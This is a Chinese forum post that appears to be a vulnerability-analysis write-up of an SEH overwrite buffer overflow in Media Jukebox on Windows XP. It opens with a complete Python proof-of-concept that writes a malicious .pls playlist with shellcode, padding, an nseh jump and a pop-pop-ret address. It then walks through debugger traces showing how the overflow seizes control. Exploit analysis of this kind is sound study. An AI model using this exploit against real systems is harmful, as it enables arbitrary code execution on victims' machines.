本帖最后由 wnagzihxain 于 2016-4-15 22:46 编辑
Platform: Windows XP sp3
拿到poc,关键还是看到nseh和seh那两个 [Python] 纯文本查看 复制代码 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
shellcode = ( "\xba\xd5\x31\x08\x38\xdb\xcb\xd9\x74\x24\xf4\x5b\x29\xc9\xb1"
"\x33\x83\xc3\x04\x31\x53\x0e\x03\x86\x3f\xea\xcd\xd4\xa8\x63"
"\x2d\x24\x29\x14\xa7\xc1\x18\x06\xd3\x82\x09\x96\x97\xc6\xa1"
"\x5d\xf5\xf2\x32\x13\xd2\xf5\xf3\x9e\x04\x38\x03\x2f\x89\x96"
"\xc7\x31\x75\xe4\x1b\x92\x44\x27\x6e\xd3\x81\x55\x81\x81\x5a"
"\x12\x30\x36\xee\x66\x89\x37\x20\xed\xb1\x4f\x45\x31\x45\xfa"
"\x44\x61\xf6\x71\x0e\x99\x7c\xdd\xaf\x98\x51\x3d\x93\xd3\xde"
"\xf6\x67\xe2\x36\xc7\x88\xd5\x76\x84\xb6\xda\x7a\xd4\xff\xdc"
"\x64\xa3\x0b\x1f\x18\xb4\xcf\x62\xc6\x31\xd2\xc4\x8d\xe2\x36"
"\xf5\x42\x74\xbc\xf9\x2f\xf2\x9a\x1d\xb1\xd7\x90\x19\x3a\xd6"
"\x76\xa8\x78\xfd\x52\xf1\xdb\x9c\xc3\x5f\x8d\xa1\x14\x07\x72"
"\x04\x5e\xa5\x67\x3e\x3d\xa3\x76\xb2\x3b\x8a\x79\xcc\x43\xbc"
"\x11\xfd\xc8\x53\x65\x02\x1b\x10\x99\x48\x06\x30\x32\x15\xd2"
"\x01\x5f\xa6\x08\x45\x66\x25\xb9\x35\x9d\x35\xc8\x30\xd9\xf1"
"\x20\x48\x72\x94\x46\xff\x73\xbd\x24\x9e\xe7\x5d\x85\x05\x80"
"\xc4\xd9" )
header = ( "[playlist]\n" )
header + = ( "NumberOfEntries=3\n\n" )
header + = ( "File1=http://" )
crash = ( "\x41" * 262 )
nseh = ( "\xeb\x06\x90\x90" )
seh = ( "\x6f\x29\x01\x10" )
nops = ( "\x90" * 5 )
junk = ( "\xCC" * 500 )
exploit = header + crash + nseh + seh + nops + shellcode + junk
try :
file = open ( 'datudou.pls' , 'w' );
file .write(exploit);
file .close();
print "[+] File created successfully: datudou.pls \n" ;
except :
print "[-] Error cant write file to system\n" ;
|
看poc的形式大概是载入pls后溢出,然后就可以构造构造,执行shellcode了 运行media jukebox,小书包里掏出windbg,运行起来attach media jukebox
然后F5运行起来,不用下断点,这里只是先看看堆栈调用和溢出现场大概的情况 运行起来后点击File->open media file,选择我们生成的poc文件datudou.pls,选择完后就发现断下来了,回到windbg,整个界面是这样的
关键的信息 [Asm] 纯文本查看 复制代码 1 2 3 4 5 6 7 8 | (198.294): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax =00e5042c ebx =000001a7 ecx =41414141 edx =00cb0608 esi =0012e4a0 edi =0012dd78
eip=005b99db esp =0012dd38 ebp =0012dd70 iopl=0 nv up ei pl nz ac po nc
cs =001b ss =0023 ds =0023 es =0023 fs =003b gs =0000 efl=00010212
Media_Jukebox+0x1b99db:
005b99db 8379f400 cmp dword ptr [ ecx -0Ch],0 ds :0023:41414135=????????
|
再看看堆栈调用,可以跟我一样直接把窗口固定在界面也可以使用kb命令 [Asm] 纯文本查看 复制代码 1 2 3 4 5 6 | 0:000> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
0012dd70 0055ca89 00e5042c 0012f42c 00e40114 Media_Jukebox+0x1b99db
0012dd98 0051bb13 00e5042c 0012f428 00000000 Media_Jukebox+0x15ca89
00000000 00000000 00000000 00000000 00000000 Media_Jukebox+0x11bb13
|
可以看到,0x0055ca89是执行完关键call的返回地址,所以接下来在这里下断是妥妥的 大概分析了一下,那就继续运行,然后就看到我们可爱的计算器弹出来了,是不是
载入media jukebox,Ctrl+G来到0x0055ca89
很明显的返回地址上面就是刚刚windbg看到的堆栈调用的关键call,所以在这里下断 [Asm] 纯文本查看 复制代码 1 | 0055CA84 |. E8 5D000000 call Media_Ju.0055CAE6
|
F9欢快的运行起来,中间会遇到几次被断下,在我们加载poc文件datudou.pls之前都F9过去就好了 如果你想手动定位的话,其实手动也是很好玩的,这样 F8单步到主函数入口,F7跟入 [Asm] 纯文本查看 复制代码 1 | 005A0122 |. E8 79080100 call Media_Ju.005B09A0
|
F7跟入 [Asm] 纯文本查看 复制代码 1 | 005B09B0 |. E8 30C60000 call Media_Ju.005BCFE5
|
到这里会完整的加载软件 [Asm] 纯文本查看 复制代码 1 | 005BD049 |. FF50 54 call dword ptr ds :[ eax +0x54]
|
--------------------这是手动定位华丽丽的分割线------------------------
然后加载poc文件datudou.pls就会发现断下来了
然后咋办?当然是继续F8单步走啊,然后就会有一个call执行了shellcode,弹出了可爱的计算器,就是这句 [Asm] 纯文本查看 复制代码 1 | 0055CDAE |. E8 18CC0500 call Media_Ju.005B99CB
|
先不急着重新载入,先到堆栈里翻翻,看看有没有什么好东西 [Asm] 纯文本查看 复制代码 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 | 0012E398 68CC0000 ..蘦
0012E39C 3A707474 ttp:
0012E3A0 41412F2F //AA
0012E3A4 41414141 AAAA
0012E3A8 41414141 AAAA
0012E3AC 41414141 AAAA
0012E3B0 41414141 AAAA
0012E3B4 41414141 AAAA
0012E3B8 41414141 AAAA
0012E3BC 41414141 AAAA
0012E3C0 41414141 AAAA
0012E3C4 41414141 AAAA
0012E3C8 41414141 AAAA
0012E3CC 41414141 AAAA
0012E3D0 41414141 AAAA
0012E3D4 41414141 AAAA
|
这是部分,那我们就可以看到,溢出的开始位置大概是在0x0012E398的位置 好了,现在可以重新载入了 载入后先在堆栈Ctrl+G,跳到0x0012E398,然后右键锁定堆栈,同样在数据区也跳到 0x0012E398的位置 为什么要这样做? 因为我们要确定导致溢出代码的位置,并且看到为什么溢出
都做好后F7跟进去,然后F8单步走下去,同时注意堆栈里数据的变化 关键的地方在这 [Asm] 纯文本查看 复制代码 1 | 0055CC0E |. E8 AD350400 call Media_Ju.005A01C0
|
可以发现F8单步运行完后堆栈发生了溢出,来对比一下 执行前 [Asm] 纯文本查看 复制代码 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 | 0012E380 |00000000 ....
0012E384 |00E4FE78 x.
0012E388 |77D1882A *堁w 返回到 user32.77D1882A 来自 user32.77D18600
0012E38C |00000007 ...
0012E390 |00000018 ...
0012E394 |00000007 ...
0012E398 |00CC0000 ..?
0012E39C |0012E194 斸.
0012E3A0 |00000000 ....
0012E3A4 |0012E3E0 嚆.
0012E3A8 |7C92E920 閽| ntdll.7C92E920
0012E3AC |7C9301E0 ?搢 ntdll.7C9301E0
0012E3B0 |FFFFFFFF ????
0012E3B4 |7C9301DB ?搢 返回到 ntdll.7C9301DB 来自 ntdll.7C92E906
0012E3B8 |0059F41F -鬥. 返回到 Media_Ju.0059F41F 来自 ntdll.RtlAllocateHeap
0012E3BC |00000000 ....
0012E3C0 |00000007 ...
0012E3C4 |00000010 ...
0012E3C8 |00000000 ....
0012E3CC |00000000 ....
0012E3D0 |00000000 ....
0012E3D4 |00000000 ....
|
执行后 [Asm] 纯文本查看 复制代码 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 | 0012E380 00000000 ....
0012E384 00E4FE78 x.
0012E388 77D1882A *堁w 返回到 user32.77D1882A 来自 user32.77D18600
0012E38C 00000007 ...
0012E390 00000018 ...
0012E394 00000007 ...
0012E398 68CC0000 ..蘦
0012E39C 3A707474 ttp:
0012E3A0 41412F2F //AA
0012E3A4 41414141 AAAA
0012E3A8 41414141 AAAA
0012E3AC 41414141 AAAA
0012E3B0 41414141 AAAA
0012E3B4 41414141 AAAA
0012E3B8 41414141 AAAA
0012E3BC 41414141 AAAA
0012E3C0 41414141 AAAA
0012E3C4 41414141 AAAA
0012E3C8 41414141 AAAA
0012E3CC 41414141 AAAA
0012E3D0 41414141 AAAA
0012E3D4 41414141 AAAA
|
那么可以确定,溢出的代码肯定在这个call里,在这里下个断点,重新载入程序然后在这个位置F7跟进去
继续F8单步走,会发现程序进入了循环 [Asm] 纯文本查看 复制代码 01 02 03 04 05 06 07 08 09 10 11 | 005A0251 |> /8917 / mov dword ptr ds :[ edi ], edx
005A0253 |. |83C7 04 | add edi ,0x4
005A0256 |> |BA FFFEFE7E mov edx ,0x7EFEFEFF
005A025B |. |8B01 | mov eax , dword ptr ds :[ ecx ]
005A025D |. |03D0 | add edx , eax
005A025F |. |83F0 FF | xor eax ,-0x1
005A0262 |. |33C2 | xor eax , edx
005A0264 |. |8B11 | mov edx , dword ptr ds :[ ecx ]
005A0266 |. |83C1 04 | add ecx ,0x4
005A0269 |. |A9 00010181 | test eax ,0x81010100
005A026E |.^ 74 E1 | je short Media_Ju.005A0251
|
而这个循环也就是溢出的原因 来看看SEH链 [Asm] 纯文本查看 复制代码 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 | SEH 链用于 主线程
地址 SE处理程序
0012DD64 Media_Ju.005F6DF6
0012DD8C Media_Ju.005F6D7D
0012E4A8 Media_Ju.005EF46C
0012F080 Media_Ju.005EF072
0012F778 Media_Ju.005EEAE9
0012F7A8 Media_Ju.005DAAFC
0012F974 Media_Ju.005DAA7D
0012F9C0 Media_Ju.005F58FE
0012FA34 Media_Ju.005FB160
0012FB18 Media_Ju.005FAAE4
0012FB98 Media_Ju.005FAA6C
0012FC44 user32.77D4048F
0012FE60 user32.77D4048F
0012FEC0 user32.77D4048F
0012FFB0 Media_Ju.005A0F0C
0012FFE0 kernel32.7C839A90
|
因为我们的溢出点在0x0012E398附近,所以往下最近的是 [Asm] 纯文本查看 复制代码 1 | 0012E4A8 Media_Ju.005EF46C
|
所以计算一下填充块的大小,nseh使用常用的\xEB\x06\x90\x90,seh使用\x6F\x29\x01\x10, 再美化美化也就差不多了 接下来来看看具体shellcode执行过程 这个call执行完会崩溃,所以下断F7跟入 [Asm] 纯文本查看 复制代码 1 | 0055CDAE |. E8 18CC0500 call Media_Ju.005B99CB
|
整个函数 [Asm] 纯文本查看 复制代码 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | 005B99CB /$ 56 push esi
005B99CC |. 57 push edi
005B99CD |. 8B7C24 0C mov edi , dword ptr ss :[ esp +0xC]
005B99D1 |. 8BF1 mov esi , ecx
005B99D3 |. 8B0E mov ecx , dword ptr ds :[ esi ]
005B99D5 |. 8B07 mov eax , dword ptr ds :[ edi ]
005B99D7 |. 3BC8 cmp ecx , eax
005B99D9 |. 74 39 je short Media_Ju.005B9A14
005B99DB |. 8379 F4 00 cmp dword ptr ds :[ ecx -0xC],0x0
005B99DF |. 7D 0B jge short Media_Ju.005B99EC
005B99E1 |. 83C1 F4 add ecx ,-0xC
005B99E4 |. 3B0D D8636B00 cmp ecx , dword ptr ds :[0x6B63D8]
005B99EA |. 75 06 jnz short Media_Ju.005B99F2
005B99EC |> 8378 F4 00 cmp dword ptr ds :[ eax -0xC],0x0
005B99F0 |. 7D 0D jge short Media_Ju.005B99FF
005B99F2 |> 50 push eax
005B99F3 |. 8BCE mov ecx , esi
005B99F5 |. FF70 F8 push dword ptr ds :[ eax -0x8]
005B99F8 |. E8 A1FFFFFF call Media_Ju.005B999E
005B99FD |. EB 15 jmp short Media_Ju.005B9A14
005B99FF |> 8BCE mov ecx , esi
005B9A01 |. E8 C3FDFFFF call Media_Ju.005B97C9
005B9A06 |. 8B07 mov eax , dword ptr ds :[ edi ]
005B9A08 |. 8906 mov dword ptr ds :[ esi ], eax
005B9A0A |. 83C0 F4 add eax ,-0xC
005B9A0D |. 50 push eax
005B9A0E |. FF15 BCD35F00 call dword ptr ds :[<&KERNEL32.Interlocke>; \InterlockedIncrement
005B9A14 |> 8BC6 mov eax , esi
005B9A16 |. 5F pop edi
005B9A17 |. 5E pop esi
005B9A18 \. C2 0400 retn 0x4
|
F8单步到这 [Asm] 纯文本查看 复制代码 1 | 005B99DB |. 8379 F4 00 cmp dword ptr ds :[ ecx -0xC],0x0
|
单步后会跳到 [Asm] 纯文本查看 复制代码 1 | 7C92E480 8B1C24 mov ebx , dword ptr ss :[ esp ]
|
继续F8单步,到这跟入 [Asm] 纯文本查看 复制代码 1 | 7C92E485 E8 84C00100 call ntdll.7C94A50E
|
然后继续F8单步,在以下的区间内会循环 [Asm] 纯文本查看 复制代码 1 2 3 4 5 | 7C94A552 3B5D F8 cmp ebx , dword ptr ss :[ ebp -0x8]
……
7C94A5CB /0F85 89050000 jnz ntdll.7C94AB5A
……
7C94AB70 ^\0F85 DCF9FFFF jnz ntdll.7C94A552
|
但是在第三次循环的时候会崩溃,崩溃在这里 [Asm] 纯文本查看 复制代码 1 | 7C94A5A8 E8 9A8CFDFF call ntdll.7C923247
|
所以在手动循环到第3次的时候注意在这里跟入 然后继续单步,到这里跟入,因为就这么一个call [Asm] 纯文本查看 复制代码 1 | 7C923275 E8 08000000 call ntdll.7C923282
|
跟入后继续单步,在这里跟入 [Asm] 纯文本查看 复制代码 1 2 | 7C9232A3 8B4D 18 mov ecx , dword ptr ss :[ ebp +0x18]
7C9232A6 FFD1 call ecx
|
跟入后的代码段 [Asm] 纯文本查看 复制代码 1 2 3 | 1001296F 5B pop ebx
10012970 5D pop ebp
10012971 C3 retn
|
堆栈布局 [Asm] 纯文本查看 复制代码 1 2 3 | 0012D968 7C9232A8 返回到 ntdll.7C9232A8
0012D96C 0012DA50
0012D970 0012E4A8
|
程序触发异常后,会调用 [Asm] 纯文本查看 复制代码 1 | 0x0012E4AC 1001296F SE处理程序
|
来处理,然而这里被我们修改成了pop pop retn,这三个指令作用就是弹出执行异常时压入的两个数据,然后retn到 [Asm] 纯文本查看 复制代码 1 | 0012E4A8 909006EB 指向下一个 SEH 记录的指针
|
这时jmp 0x6刚好就会跳到我们的nops,然后滑到shellcode,于是乎开始执行shellcode 来看看堆栈里关键的信息 [Asm] 纯文本查看 复制代码 1 2 3 4 5 6 7 8 9 | 0012E498 41414141
0012E49C 41414141
0012E4A0 41414141
0012E4A4 00000000
0012E4A8 909006EB 指向下一个 SEH 记录的指针
0012E4AC 1001296F SE处理程序
0012E4B0 90909090
0012E4B4 31D5BA90
0012E4B8 CBDB3808
|
然后就是一个可爱的计算器弹出来了,还是一样的shellcode,还是一样的计算器
补充个东西,那个循环的代码段其实是strcpy,在IDA里面可以看出来的
最后呢,本文我同时也提交到Seebug和我的博客上了,如果大伙看到呢,并不是抄袭啊!!!!!! 如果有同学对二进制漏洞分析感兴趣的,可以多上Seebug看看
|